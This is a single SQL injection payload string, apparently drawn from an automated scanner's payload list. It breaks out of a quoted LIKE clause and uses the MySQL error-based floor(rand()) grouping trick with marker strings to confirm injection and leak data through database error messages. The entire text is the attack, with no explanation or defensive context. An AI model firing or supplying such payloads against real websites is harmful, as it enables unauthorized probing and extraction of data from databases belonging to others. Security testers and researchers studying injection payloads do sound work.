1%" or   (  select 9173 from  (  select count  (  *  )  ,concat  (  0x7171706a71,  (  select   (  elt  (  9173  =  9173,1   )    )     )  ,0x717a767a71,floor  (  rand  (  0  )  *2   )    )   x from information_schema.character_sets group by x  )  a  )   and "%"  =  "